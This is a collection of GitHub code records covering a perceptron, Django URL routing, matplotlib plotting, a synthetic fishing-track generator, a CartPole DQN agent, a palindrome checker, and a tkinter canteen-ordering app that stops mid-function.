+{"seq_id":"20732035915","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\"\"\"\n@File        : perceptron_dichotomy.py\n@Author      : Xavier ZXY\n@Emial       : zxy_xavier@163.com\n@Date        : 2022/02/16 16:17\n@Description : 感知机算法实现\n\"\"\"\n\nimport numpy as np\nimport time\n\n\ndef loadData(fileName):\n    \"\"\"\n\n    @Args:\n        fileName: 需要加载的数据集路径\n\n    @Returns:\n        dataArr: list形式的数据集\n        labelArr: list形式的标签\n\n    @Riase:\n\n    \"\"\"\n\n    print(\"Start to read data...\")\n    # 定义dataArr和lableArr\n    dataArr = []\n    lableArr = []\n    # 打开文件\n    fr = open(fileName, 'r')\n    # 文件按行进行读取\n    for line in fr.readlines():\n        # 对每一行数据按切割符','进行切割，返回字段列表\n        curLine = line.strip().split(',')\n        # Mnist有0-9个标记，由于是二分类任务，所以将>=5的作为1，<5的作为-1\n        if int(curLine[0]) >= 5:\n            lableArr.append(1)\n        else:\n            lableArr.append(-1)\n        # 将除第一行标记数据外的所有数据进行归一化\n        dataArr.append([int(num)/255 for num in curLine[1:]])\n\n    # 返回data和label\n    return dataArr, lableArr\n\n\ndef perceptron(dataArr, labelArr, iter=50):\n    \"\"\"\n    感知机训练\n    @Args:\n        dataArr:训练集数据\n        labelArr: 训练集标签\n        iter: 迭代次数，默认50\n\n    @Returns:\n        w, b: 训练后的权重\n\n    @Riase:\n\n    \"\"\"\n\n    print(\"Start to trains...\")\n    # 将数据转换为矩阵形式\n    # 转换后的数据中每一个样本的向量都是横向的\n    dataMat = np.mat(dataArr)\n    # 将标签转换为矩阵，之后转置\n    labelMat = np.mat(labelArr).T\n    # 获取数据矩阵的大小，为m*n\n    m, n = np.shape(dataMat)\n    # 初始化权重w，初始值全为0\n    w = np.zeros((1, np.shape(dataMat)[1]))\n    # 初始化偏置b为0\n    b = 0\n    # 初始化补偿，即梯度下降过程中的n，控制梯度下降速率\n    h = 0.0001\n\n    # 进行iter次迭代计算\n    for k in range(iter):\n        for i in range(m):\n            # 随机梯度下降\n            xi = dataMat[i]\n            # 获取当前样本所对应的标签\n            yi = labelMat[i]\n            # 判断是否为误分类样本\n            # 误分类样本特征：-yi(w*xi.T + b) >= 0\n            if -1 * yi * (w * xi.T + b) >= 0:\n                # 对于误分类样本，进行梯度下降，更新w和b\n                w = w + h * yi * xi\n                b = b + h * yi\n        # 打印训练进度\n        print(\"Round %d:%d training\" % (k, iter))\n\n    # 返回训练完的参数\n    return w, b\n\n\ndef model_test(dataArr, labelArr, w, b):\n    \"\"\"\n    测试准确率\n    @Args:\n        dataArr:训练集数据\n        labelArr: 训练集标签\n        iter: 迭代次数，默认50\n        w: 训练得到的权重\n        b: 训练得到的偏置\n\n    @Returns:\n        accruRate: 准确率\n\n    @Riase:\n\n    \"\"\"\n\n    print(\"Start to test...\")\n    # 将数据集转换��矩阵形式\n    dataMat = np.mat(dataArr)\n    labelMat = np.mat(labelArr).T\n\n    # 获取测试数据集矩阵的大小\n    m, n = np.shape(dataMat)\n    # 错误样本数基数\n    errorCnt = 0\n    # 遍历所有测试样本\n    for i in range(m):\n        # 获得单个样本向量\n        xi = dataMat[i]\n        # 获得该样本标记\n        yi = labelMat[i]\n        # 获得运算结果\n        result = -1 * yi * (w * xi.T + b)\n        if result >= 0:\n            errorCnt += 1\n    # 正确率\n    accruRate = 1 - (errorCnt / m)\n\n    return accruRate\n\n\nif __name__ == '__main__':\n    # 获取当前时间\n    start = time.time()\n\n    # 获取训练集及标签\n    trainData, trainLabel = loadData('../data/mnist_train.csv')\n    # 获取测试及标签\n    testData, testLabel = loadData('../data/mnist_train.csv')\n\n    # 训练获得权重\n    w, b = perceptron(trainData, trainLabel, iter=30)\n    # 进行测试，获得正确率\n    accruRate = model_test(testData, testLabel, w, b)\n\n    # 获取当前时间，作为结束时间\n    end = time.time()\n    # 显示正确率\n    print('accuracy rate is:', accruRate)\n    # 显示用时时长\n    print('time span:', end - start)\n","repo_name":"XavierZXY/ML-Notes","sub_path":"codes/Perceptron/perceptron_dichotomy.py","file_name":"perceptron_dichotomy.py","file_ext":"py","file_size_in_byte":4202,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28309722879","text":"from django.urls import path, include, re_path\n\nfrom drfsite.views import Listrest, CategoryList\nfrom rest_framework import routers\nrouter=routers.DefaultRouter()\nrouter.register(r'data',Listrest,basename='Products')\nappname='drfsite'\nurlpatterns=[\n   path(\"v1/\",include(router.urls)),\n   path(\"v1/category/\",CategoryList.as_view({'get':'list'})),\n   path('v1/drf_login/',include('rest_framework.urls')),\n   path('v1/drf_auth/',include('djoser.urls')),\n   re_path(r'^auth/',include('djoser.urls.authtoken')),\n]","repo_name":"Kmohirbek44/buildtriumf","sub_path":"drfsite/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9623912324","text":"#!/usr/bin/python\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\nfrom matplotlib.backends.backend_pdf import PdfPages\n#import csv\nimport pandas\n\n####\n#\n# BuildMultiPlot(DataMap,NamesList,XCoordinateName='',Columns=1)\n#   Builds a Figure with rows = # elements in Names list.\n#   Each row contains a graph generated from DataMap[NamesList[row#]]\n#\n#   DataMap : a dictornary with data (all entires must have the same number of elements)\n#   NamesList : list of names of elements from data to be graphed\n#   XCoordinateName : If specified, this element from the DataMap will determin the XCoordinate scale\n#   Columns : spread the graphs over this many columns, if not defined, there will be 1 column\n#             # of rows is calcualted by the number of columns and the number of elements in NamesList\n#\n#   Return: the figure created\n#\n####\n\ndef BuildMultiPlotFromDict(DataMap,NamesList,XCoordinateName='',Columns=1,title = ''):\n  plt.figure()                                                # create a new figure\n  if (title!=''):\n    plt.suptitle(title, fontsize=14, fontweight='bold')\n\n  Rows = math.ceil(float(len(NamesList))/float(Columns))      # calcualate how many rows we need\n  \n  if (XCoordinateName==''):                                   # if there is no XCoordinateName\n    for count in range(len(NamesList)):                       # for each name\n      plt.subplot(Rows,Columns,count+1)                       # go to the count-th row of in our figure (with len(NamesList) rows)\n      plt.plot(DataMap[NamesList[count]],label=NamesList[count])\n                                                              # plot the data for each element in name in it's own plot\n      plt.title(NamesList[count], fontsize=12) \t              # set the title for this plot\n\n  else:                                                       # else, there is a XCoordinateName\n    for count in range(len(NamesList)):                       # for each name\n      plt.subplot(Rows,Columns,count+1)                       # go to the count-th row of in our figure (with len(NamesList) rows)\n      plt.plot(DataMap[XCoordinateName],DataMap[NamesList[count]],label=NamesList[count])\n                                                              # plot the data for each element in name in it's own plot\n      plt.title(NamesList[count], fontsize=12)                # set the title for this plot\n\n\t\n  return plt.gcf()                                            # gcf = get current figure - return that.\n\n  \ndef AddMultiPlotFromDict(DataMap,NamesList,XCoordinateName='',Columns=1):\n\n  Rows = math.ceil(float(len(NamesList))/float(Columns))      # calcualate how many rows we need\n  \n  if (XCoordinateName==''):                                   # if there is no XCoordinateName\n    for count in range(len(NamesList)):                       # for each name\n      plt.subplot(Rows,Columns,count+1)                       # go to the count-th row of in our figure (with len(NamesList) rows)\n      plt.plot(DataMap[NamesList[count]],label=NamesList[count])\n                                                              # plot the data for each element in name in it's own plot\n      #plt.title(NamesList[count], fontsize=12) \t              # set the title for this plot\n\n  else:                                                       # else, there is a XCoordinateName\n    for count in range(len(NamesList)):                       # for each name\n      plt.subplot(Rows,Columns,count+1)                       # go to the count-th row of in our figure (with len(NamesList) rows)\n      plt.plot(DataMap[XCoordinateName],DataMap[NamesList[count]],label=NamesList[count])\n                                                              # plot the data for each element in name in it's own plot\n      #plt.title(NamesList[count], fontsize=12)                # set the title for this plot\n\n\t\n  return plt.gcf()                                            # gcf = get current figure - return that.\n\n####\n#\n# BuildPlot(DataMap,NamesList,XCoordinateName='',AddLegend=\"\")\n#   Builds a figure with a single plot graphing the elements from DataMap named by NamesList.\n#   Axis are labled if possible, and a legend is added.\n#\n#   DataMap : a dictornary with data (all entires must have the same number of elements)\n#   NamesList : list of names of elements from data to be graphed\n#   XCoordinateName : If specified, this element from the DataMap will determin the XCoordinate scale\n#   AddLegend : if defined, places a legend ('upper left','upper right','lower left','lower right')\n#\n#   Return: the figure created\n#\n####\n\ndef BuildPlotFromDict(DataMap,NamesList,XCoordinateName='',AddLegend='',title = ''):\n  plt.figure()                                                # create a new figure\n\n  if XCoordinateName=='':                                     # if there is no XCoordinateName\n    for count in range(len(NamesList)):                       # for each name\n      plt.plot(DataMap[NamesList[count]],label=NamesList[count])\n                                                              # plot the data for each element in name in it's own plot\n\n  else:                                                       # else, there is a XCoordinateName\n    for count in range(len(NamesList)):                       # for each name\n      plt.plot(DataMap[XCoordinateName],DataMap[NamesList[count]],label=NamesList[count])\n                                                              # plot the data for each element in name in it's own plot\n      plt.xlabel(XCoordinateName)                             # add a X axis label\n\n  if (AddLegend!=\"\"):\n    plt.legend(loc=AddLegend, shadow=True)                    # add a legend\n  \n  if (title!=''):\n    plt.title(title)\n\t\n  return plt.gcf()                                            # gcf = get current figure - return that.\n\n\t  \n######## LOAD DATA\n\nave102_csv_file = pandas.read_csv(r'102/ave.csv')\nave103_csv_file = pandas.read_csv(r'103ave.csv')\nave104_csv_file = pandas.read_csv(r'104ave.csv')\nave105_csv_file = pandas.read_csv(r'105ave.csv')\nave106_csv_file = pandas.read_csv(r'106ave.csv')\nave107_csv_file = pandas.read_csv(r'107ave.csv')\n\ndominant102_csv_file = pandas.read_csv(r'102/dominant.csv')\ndominant103_csv_file = pandas.read_csv(r'103dominant.csv')\ndominant104_csv_file = pandas.read_csv(r'104dominant.csv')\ndominant105_csv_file = pandas.read_csv(r'105dominant.csv')\ndominant106_csv_file = pandas.read_csv(r'106dominant.csv')\ndominant107_csv_file = pandas.read_csv(r'107dominant.csv')\n\n#dominant_csv_file = pandas.read_csv(r'dominant.csv')\n#data_csv_file = pandas.read_csv(r'data_9750.csv')\n\nBuildMultiPlotFromDict(DataMap = ave102_csv_file,NamesList = ['score','gates','genomeLength'],XCoordinateName='update',Columns=2,title = 'Average')\nAddMultiPlotFromDict(DataMap = ave103_csv_file,NamesList = ['score','gates','genomeLength'],XCoordinateName='update',Columns=2)\nAddMultiPlotFromDict(DataMap = ave104_csv_file,NamesList = ['score','gates','genomeLength'],XCoordinateName='update',Columns=2)\nAddMultiPlotFromDict(DataMap = ave105_csv_file,NamesList = ['score','gates','genomeLength'],XCoordinateName='update',Columns=2)\nAddMultiPlotFromDict(DataMap = ave106_csv_file,NamesList = ['score','gates','genomeLength'],XCoordinateName='update',Columns=2)\nAddMultiPlotFromDict(DataMap = ave107_csv_file,NamesList = ['score','gates','genomeLength'],XCoordinateName='update',Columns=2)\n\nBuildMultiPlotFromDict(dominant102_csv_file,NamesList = ['score','food1','switches','food2','gates','food3','genomeLength','food4'],XCoordinateName='update',Columns=2,title = 'Dominant')\nfor f in [dominant103_csv_file,dominant104_csv_file,dominant105_csv_file,dominant106_csv_file,dominant106_csv_file]:\n  AddMultiPlotFromDict(DataMap = f,NamesList = ['score','food1','switches','food2','gates','food3','genomeLength','food4'],XCoordinateName='update',Columns=2)\n\n\n#BuildMultiPlotFromDict(data_csv_file,NamesList = ['score','food1','switches','food2','gates','food3','genomeLength','food4','total'],Columns=2,title = 'Dominant')\n\n#BuildPlotFromDict(DataMap = Data, NamesList = ['food1','food2','switches'],XCoordinateName = 'update',AddLegend='lower right')\n#BuildPlotFromDict(DataMap = Data, NamesList = ['food1','food2','switches'],XCoordinateName = 'update',AddLegend='lower right')\n\nplt.show()\n\n\n######## SAVE TO A PNG FILE\n#plt.savefig('testGraph.png', dpi=100)\n\n\n######## SAVE TO A PDF FILE\n\n#pp = PdfPages('foo.pdf')\n#pp.savefig(fig1)\n#pp.savefig(fig2)\n#pp.savefig(DisplaysFig)\n#pp.close()\n\n  \n\n","repo_name":"arockett/P3Brain","sub_path":"PythonTools/mkGraphsSpecial.py","file_name":"mkGraphsSpecial.py","file_ext":"py","file_size_in_byte":8521,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"28110800062","text":"import random\nimport numpy as np\nimport math\n\n\nclass FPoint:\n    def __init__(self, x, y):\n        self.x = x\n        self.y = y\n\n    def __repr__(self):\n        return '({}, {})'.format(self.x, self.y)\n\n\nclass FVector(FPoint):\n    pass\n\n\nclass FLimit:\n    def __init__(self, lat_vec, lon_vec, timespan_vec):\n        self.lat = lat_vec\n        self.lon = lon_vec\n        self.timespan = timespan_vec\n\n\ndef lon_normalize(lon):\n    if lon < -180:\n        return lon + 360\n    elif lon > 180:\n        return lon - 360\n    else:\n        return lon\n\n\ndef next_location(keys, reference, position=None, nearest=False):\n    if nearest:\n        dists = []\n\n        for k in keys:\n            dists.append(reference[k].distance(position))\n\n        distances = np.asarray(dists)\n        return reference[keys[random.choice(distances.argsort()[:3])]]\n\n    else:\n        k = random.choice(keys)\n        return reference[k]\n\n\nclass Circle:\n    def __init__(self, center, radius, phi, clockwise=True):\n        self.center = center\n        self.radius = radius\n        self.phi = phi\n        self.clockwise = clockwise\n        self.angle = 0.0\n        self.delta = 0.2\n\n    def draw(self):\n        dx = self.radius * math.cos(self.phi + self.angle)\n        dx = dx if self.clockwise else -dx\n        x = self.center.x + dx\n\n        dy = self.radius * math.sin(self.phi + self.angle)\n        dy = dy if self.clockwise else -dy\n        y = self.center.y + dy\n\n        self.angle += (random.random() * self.delta)\n\n        return FPoint(x, y)\n\n\nclass FishLocation:\n    def __init__(self, type_, name, center, radius):\n        self.type = type_\n        self.name = name\n        self.center = center\n        self.radius = radius\n\n        left, right = center.x - radius.x, center.x + radius.x\n        bottom, top = center.y - radius.y, center.y + radius.y\n\n        self.left = left\n        self.right = right\n        self.bottom = bottom\n        self.top = top\n\n    def __repr__(self):\n        return 'type: {}\\nname: {}\\ncenter{}\\nradius: {}\\n'.format(self.type, self.name, repr(self.center), repr(self.radius))\n\n    def sampling(self, left=None, right=None, bottom=None, top=None):\n        x = lon_normalize(random.uniform(left or self.left, right or self.right))\n        y = random.uniform(bottom or self.bottom, top or self.top)\n        return FPoint(x, y)\n\n    def distance(self, position):\n        return ((position.x - self.center.x) ** 2 + (position.y - self.center.y) ** 2)\n\n\nclass FishPattern:\n    def __init__(self, location, start, initial=None):\n        self.location = location\n        self.initial = initial\n        self.start = start\n\n    def generate(self):\n        raise NotImplementedError\n\n\nclass FishRecord:\n    def __init__(self, label, timestemp, longitude, latitude):\n        self.label = label\n        self.timestemp = timestemp\n        self.longitude = longitude\n        self.latitude = latitude\n\n    def __repr__(self):\n        return '({}, {}, {}, {})'.format(self.label, self.timestemp, self.longitude, self.latitude)\n\n\nclass OutBoundPattern(FishPattern):\n    def generate(self, distance, duration=FVector(10800, 18000), num=FVector(10, 20)):\n        x = self.initial.x + distance.x if self.location.center.x > 0 else self.initial.x - distance.x\n        destination = FPoint(lon_normalize(x), self.initial.y + random.uniform(-distance.y, distance.y))\n\n        n = random.randint(num.x, num.y)\n        times = sorted([random.randint(duration.x, duration.y) for _ in range(n)])\n\n        records = []\n        for t in times[:-1]:\n            s = self.location.sampling()\n            records.append(FishRecord('outbound', self.start + t, s.x, s.y))\n        records.append(FishRecord('outbound', self.start + times[-1], destination.x, destination.y))\n\n        return records\n\n\nclass InBoundPattern(FishPattern):\n    def generate(self, duration=FVector(10800, 18000), num=FVector(10, 20)):\n        n = random.randint(num.x, num.y)\n        times = sorted([random.randint(duration.x, duration.y) for _ in range(n)])\n\n        records = []\n        records.append(FishRecord('inbound', self.start + times[0], self.initial.x, self.initial.y))\n        for t in times[1:]:\n            s = self.location.sampling()\n            records.append(FishRecord('inbound', self.start + t, s.x, s.y))\n\n        return records\n\n\nclass HarvestPattern(FishPattern):\n    def generate(self, duration=FVector(259200, 604800), num=FVector(4320, 10080)):\n        n = random.randint(num.x, num.y)\n        times = sorted([random.randint(duration.x, duration.y) for _ in range(n)])\n        records = []\n        records.append(FishRecord('fishing', self.start + times[0], self.initial.x, self.initial.y))\n        for t in times[1:]:\n            x = random.normalvariate(self.location.center.x, self.location.radius.x)\n            y = random.normalvariate(self.location.center.y, self.location.radius.y)\n            records.append(FishRecord('fishing', self.start + t, x, y))\n\n        return records\n\n\nclass TrawlingPattern(FishPattern):\n\n    def generate(self, duration=FVector(86400, 172800), num=FVector(1440, 2880)):\n        n = random.randint(num.x, num.y)\n        times = sorted([random.randint(duration.x, duration.y) for _ in range(n)])\n        records = []\n        records.append(FishRecord('trawling', self.start + times[0], self.initial.x, self.initial.y))\n\n        center = self.location.sampling()\n        radius = random.uniform(2, 5)\n        phi = random.uniform(0, math.pi)\n        clock = random.random() > 0.5\n        circle = Circle(center, radius, phi, clockwise=clock)\n        for t in times[1:]:\n            p = circle.draw()\n            noise = FVector(random.random() * 0.1, random.random() * 0.1)\n            records.append(FishRecord('trawling', self.start + t, p.x + noise.x, p.y + noise.y))\n\n        return records\n\n\n","repo_name":"ryanchao2012/oceanbonbon","sub_path":"utils/fish.py","file_name":"fish.py","file_ext":"py","file_size_in_byte":5814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1098473898","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nPractical for course 'Reinforcement Learning',\r\nLeiden University, The Netherlands\r\n2022\r\nBy Ricardo Michels, Paula Mieras, Amber Remmelzwaal\r\n\"\"\"\r\n\r\nimport gym\r\n\r\nimport random\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras import layers\r\nfrom collections import deque\r\nfrom Helper import softmax\r\n\r\n\r\nclass DQN_agent:\r\n\r\n    def __init__(self, n_actions=2, n_nodes=[32, 16], learning_rate=0.05, gamma=1, ER_size=0, update_TN=False):\r\n        \"\"\"\r\n        :param n_actions: Number of actions available to agent\r\n        :param n_nodes: Number of nodes in hidden layers\r\n        :param learning_rate: Learning rate of neural network\r\n        :param gamma: discount factor, used to calculate the targets during the update\r\n        :param ER_size: size of the experience replay buffer.\r\n        :param update_TN: boolean which sets the target network update on or off\r\n        The experience replay buffer uses a Deque with an adjustable max size. When an item is added to a Deque\r\n        with the max length, the first item is removed from the deque, and the new item appended at the end,\r\n        keeping the size at the max length.\r\n        \"\"\"\r\n        self.gamma = gamma\r\n        self.learning_rate = learning_rate\r\n        self.n_actions = n_actions\r\n        self.n_nodes = n_nodes\r\n        self.Q_model = self.make_q_model()\r\n        self.update_TN = update_TN\r\n        self.target_network = keras.models.clone_model(self.Q_model)\r\n        self.target_network.set_weights(self.Q_model.get_weights())\r\n        self.ER_buffer = None\r\n        if ER_size > 0:\r\n            self.ER_buffer = deque(maxlen=ER_size)\r\n\r\n    def select_action(self, s, strategy, epsilon=None, temp=None):\r\n        \"\"\"Select the action for a given state and strategy\"\"\"\r\n        \r\n        # Epsilon-greedy policy\r\n        if strategy == \"epsilon\":\r\n            \r\n            # Take random value with probability epsilon\r\n            if np.random.uniform() < epsilon:\r\n                return np.random.randint(low=0, high=self.n_actions)\r\n                \r\n            # Take best Q network value\r\n            else:\r\n                return np.argmax(self.Q_model.predict(s)[0])\r\n                \r\n        # Boltzmann policy\r\n        elif strategy == 'softmax':\r\n            if temp is None:\r\n                raise KeyError(\"Provide a temperature\")\r\n            \r\n            x = self.Q_model.predict(s)[0]\r\n            y = softmax(x, temp)\r\n            z = random.random()\r\n            for i, val in enumerate(y):\r\n                if z <= val:\r\n                    a = i\r\n                    break\r\n                else:\r\n                    z -= val\r\n\r\n            return a\r\n\r\n    def update(self, observations):\r\n        \"\"\"Update Q model\"\"\"\r\n        \r\n        states = []\r\n        targets = []\r\n        for s, a, r, s_next, done in observations:\r\n            states.append(s)\r\n            Gt = r\r\n            \r\n            # Update the backup target with target or Q network\r\n            if not done:\r\n                if self.update_TN:\r\n                    Gt += self.gamma * np.amax(self.target_network.predict(s_next)[0])\r\n                else:\r\n                    Gt += self.gamma * np.amax(self.Q_model.predict(s_next)[0])\r\n            target = self.Q_model.predict(s)\r\n            target[0][a] = Gt\r\n            targets.append(target)\r\n        states = np.concatenate(states)\r\n        targets = np.concatenate(targets)\r\n        \r\n        # Shuffle on False gives the episodes in chronological order\r\n        self.Q_model.fit(states, targets, epochs=1, verbose=0, shuffle=False)\r\n\r\n    def make_q_model(self):\r\n        \"\"\"Construct the Q network with input, hidden and output layers\"\"\"\r\n        \r\n        # Make input layer\r\n        inputs = layers.Input(shape=(4,))\r\n        layers_list = [inputs]\r\n        \r\n        # Make hidden layers\r\n        for i in range(len(self.n_nodes)):\r\n            layers_list.append(layers.Dense(self.n_nodes[i], activation='sigmoid')(layers_list[i]))\r\n        \r\n        # Make output layer\r\n        output = layers.Dense(self.n_actions, activation=\"linear\")(layers_list[-1])\r\n        \r\n        # Combine input and output layers to construct the network\r\n        model = keras.Model(inputs=inputs, outputs=output)\r\n        model.compile(loss='mse', optimizer=tf.keras.optimizers.Adam(lr=self.learning_rate))\r\n        return model\r\n\r\n    def update_target_network(self):\r\n        \"\"\"Target network will be updated with current Q network\"\"\"\r\n        \r\n        self.target_network.set_weights(self.Q_model.get_weights())\r\n\r\n\r\ndef q_learning(n_episodes=250,\r\n               learning_rate=0.05, gamma=1, n_nodes=[32, 16],\r\n               epsilon_max=0.8, epsilon_min=0.1, epsilon_decay=0.995,\r\n               temp=1, ER_buffer=False, ER_size=1000, ER_batch=128, update_TN=False,\r\n               n_update_TN=5, strategy=\"epsilon\", render=False):\r\n    ''' runs a single repetition of q_learning\r\n    Return: rewards, a vector with the observed rewards at each timestep '''\r\n\r\n    epsilon = epsilon_max\r\n    \r\n    # Initialize the right agent with(out) ER and/or TN\r\n    if ER_buffer and update_TN:\r\n        ER_batch = ER_batch\r\n        agent = DQN_agent(gamma=gamma, learning_rate=learning_rate, ER_size=ER_size, update_TN=update_TN)\r\n    elif ER_buffer:\r\n        ER_batch = ER_batch\r\n        agent = DQN_agent(gamma=gamma, learning_rate=learning_rate, ER_size=ER_size)\r\n    elif update_TN:\r\n        agent = DQN_agent(gamma=gamma, learning_rate=learning_rate, update_TN=update_TN)\r\n    else:\r\n        agent = DQN_agent(gamma=gamma, learning_rate=learning_rate)\r\n    print(agent.Q_model)\r\n    \r\n    reward_per_episode = []\r\n    \r\n    # Make the CartPole environment\r\n    env = gym.make(\"CartPole-v1\")\r\n    \r\n    for i in range(n_episodes):\r\n        rewards = []\r\n        state = env.reset()\r\n        state = np.reshape(state, [1, 4])\r\n        episode = []\r\n        done = False\r\n        while not done:\r\n            if render:\r\n                env.render()\r\n                \r\n            # Select action for given state and strategy\r\n            action = agent.select_action(state, strategy, epsilon=epsilon, temp=temp)\r\n            \r\n            # Simulate environment\r\n            next_state, reward, done, info = env.step(action)\r\n            next_state = np.reshape(next_state, [1, 4])\r\n            episode.append((state, action, reward, next_state, done))\r\n            rewards.append(reward)\r\n            state = next_state\r\n        \r\n        if update_TN:\r\n            # Update target network when at the right episode\r\n            if i % n_update_TN == 0:\r\n                agent.update_target_network()\r\n        reward_per_episode.append(np.sum(rewards))\r\n        \r\n        # Update Q network with or without ER buffer\r\n        if ER_buffer:\r\n            agent.ER_buffer.extend(episode)\r\n            if len(agent.ER_buffer) > ER_batch:\r\n                agent.update(random.sample(agent.ER_buffer, ER_batch))\r\n        else:\r\n            agent.update(episode)\r\n        \r\n        # Decrease epsilon if exploration strategy is annealing epsilon-greedy    \r\n        if strategy == \"epsilon\" and epsilon_decay != 1:\r\n            print(\"episode: \", i, \" score: \", reward_per_episode[-1], \" Epsilon: \", epsilon)\r\n            \r\n            if epsilon > epsilon_min:\r\n                epsilon = epsilon * epsilon_decay\r\n        else:\r\n            print(\"episode: \", i, \" score: \", reward_per_episode[-1])\r\n            \r\n    env.close()\r\n    return reward_per_episode\r\n\r\n\r\ndef test():\r\n    \"\"\"Test function which prints the obtained rewards for the parameters below\"\"\"\r\n    \r\n    n_episodes = 500\r\n    gamma = 1\r\n    learning_rate = 0.05\r\n\r\n    # Hidden layers\r\n    n_nodes = [32, 16]\r\n\r\n    # Exploration\r\n    epsilon_max = 0.8\r\n    epsilon_min = 0.1\r\n    epsilon_decay = 0.995\r\n\r\n    temp = 1\r\n\r\n    # Experience replay\r\n    ER_buffer = False\r\n    ER_size = 5000\r\n    ER_batch = 128\r\n\r\n    # The update frequency of the target network\r\n    update_TN = True\r\n    n_update_TN = 5\r\n\r\n    # Exploration strategy\r\n    strategy = \"epsilon\"  # \"softmax\"\r\n\r\n    # Plotting parameters\r\n    render = False\r\n    rewards = q_learning(n_episodes=n_episodes,\r\n                         learning_rate=learning_rate,\r\n                         gamma=gamma,\r\n                         n_nodes=n_nodes,\r\n                         epsilon_max=epsilon_max,\r\n                         epsilon_min=epsilon_min,\r\n                         epsilon_decay=epsilon_decay,\r\n                         temp=temp,\r\n                         ER_buffer=ER_buffer,\r\n                         ER_size=ER_size,\r\n                         ER_batch=ER_batch,\r\n                         update_TN=update_TN,\r\n                         n_update_TN=n_update_TN,\r\n                         strategy=\"epsilon\",\r\n                         render=render)\r\n    print(\"Obtained rewards: {}\".format(rewards))\r\n\r\n\r\nif __name__ == '__main__':\r\n    test()\r\n","repo_name":"amberremmel/RL_A2","sub_path":"dqn.py","file_name":"dqn.py","file_ext":"py","file_size_in_byte":9004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19166714314","text":"# 파이썬다운 풀이\n\nimport sys\n\nsys.stdin = open(\"input.txt\", \"r\")\nn = int(input())\nfor i in range(n):\n    s = input()\n    s = s.upper()\n    if s == s[::-1]:\n        print(\"#%d YES\" %(i+1))\n    else:\n        print(\"#%d NO\" %(i+1))","repo_name":"nohsion/Algorithm","sub_path":"파이썬 알고리즘 문제풀이/2. 탐색&시뮬레이션(string, 1차원, 2차원 리스트 탐색)/1. 회문 문자열 검사/palindrome2.py","file_name":"palindrome2.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"47791741379","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nfrom PIL import ImageTk,Image\r\nfrom functools import partial\r\nfrom datetime import date\r\nimport datetime as dt\r\nimport time\r\nimport json\r\nimport smtplib\r\nimport re\r\n#window\r\nimport datetime\r\nfrom tabulate import tabulate\r\nitemlist=[]\r\nb=[]\r\nbreakfast=[[\"Toast\",20,100],[\"Milk\",10,200],[\"Coffee\",10,200],[\"Sandwich\",30,100],[\"Bowl of Cereal\",30,100]]\r\nlunch=[[\"Salad\",10,150],[\"Veg Burger\",50,100],[\"Chicken Burger\",70,100],[\"Rajma Rice\",60,150],[\"Fried Rice\",60,100],[\"Pizza\",100,100],[\"Fries\",40,150],[\"Coke\",20,200],[\"Juice\",20,200],[\"Hot Chocolate\",50,150]]\r\ndinner=[[\"Soup\",30,150],[\"Chapati(veg.)\",40,200],[\"Chapati(chicken)\",50,150],[\"Veg Biryani\",40,150],[\"Chicken Biryani\",60,150],[\"Pav Bhaji\",40,100],[\"Bread Omelette\",40,150],[\"Ice Cream\",20,150],[\"Coke\",20,150],[\"Juice\",20,150],[\"Plum Cake\",120,50]]          \r\nlist1=[[\"Ankit\",[[\"Soup\",6],[\"Chapati(veg.)\",4],[\"Pav Bhaji\",3]]],[\"Uday\",[[\"Paneer\",2],[\"Noodles\",1]]],[\"Sanky\",[[\"pasta\",3],[\"samosa\",2],[\"idly\",1],[\"dosa\",3]]]]\r\nklist=[]\r\ndef proceed(user):\r\n    global klist\r\n    today=date.today()\r\n    today1=str(today)\r\n    clist=today1.split(\"-\")\r\n    now = datetime.datetime.now()\r\n    a=list(now.strftime(\"%H:%M:%S\"))\r\n    b=[]\r\n    c=\"\"\r\n    j=0\r\n    while(j<=len(a)-1):\r\n        if a[j]==\":\":\r\n          b.append(c)\r\n          c=\"\"\r\n          j=j+1\r\n        else:\r\n          c=c+str(a[j])\r\n          j=j+1\r\n    clist.extend(b)\r\n    breakfast1=[7,8,9,10,11]\r\n    lunch1=[12,13,14,15,16,17]\r\n    dinner1=[18,19,20,21,22,23]\r\n    with open(\"orders.txt\",\"r\") as f1, open(\"input.txt\",\"a+\") as f2:\r\n         c=f1.read()\r\n         d=c.split(\"$\")\r\n         d[-1]=\"flag\"\r\n         d.remove(\"flag\")\r\n         for i in range(len(d)):\r\n            d[i]=eval(d[i])\r\n         str1=b[0]\r\n         if str1[0]==\"0\":\r\n             if int(str1[1]) in breakfast1:\r\n                 klist=breakfast1\r\n             if int(str1[1]) in lunch1:\r\n                 klist=liunch1\r\n             if int(str1[1]) in dinner1:\r\n                klist=dinner1\r\n         else:\r\n             if int(str1) in breakfast1:\r\n                 klist=breakfast1\r\n             if int(str1) in lunch1:\r\n                 klist=lunch1\r\n             if int(str1) in dinner1:\r\n                klist=dinner1\r\n         b2=[]\r\n         for i in range(len(d)):\r\n            if d[i][3]==clist[2] and int(d[i][4]) in klist:\r\n                  b2.append(d[i])\r\n         f2.write(b2[-1][0])\r\n         f2.write(\",\")\r\n         f2.write(\"sample\")\r\n         f2.write(\",\")\r\n         f2.write(str(len(b2[-1][1])))\r\n         f2.write(\",\")\r\n         f2.write(b2[-1][2]+\":\"+str(clist[2]))\r\n         f2.write(\"\\n\")\r\n    nameFlag=0\r\n    id=[]\r\n    time1=[]\r\n    number=[]\r\n    print(b2)\r\n    with open('input.txt') as f:\r\n     while True:\r\n        line = f.readline()\r\n        if not line: \r\n            break\r\n        if(nameFlag==0):\r\n            nameFlag=1\r\n     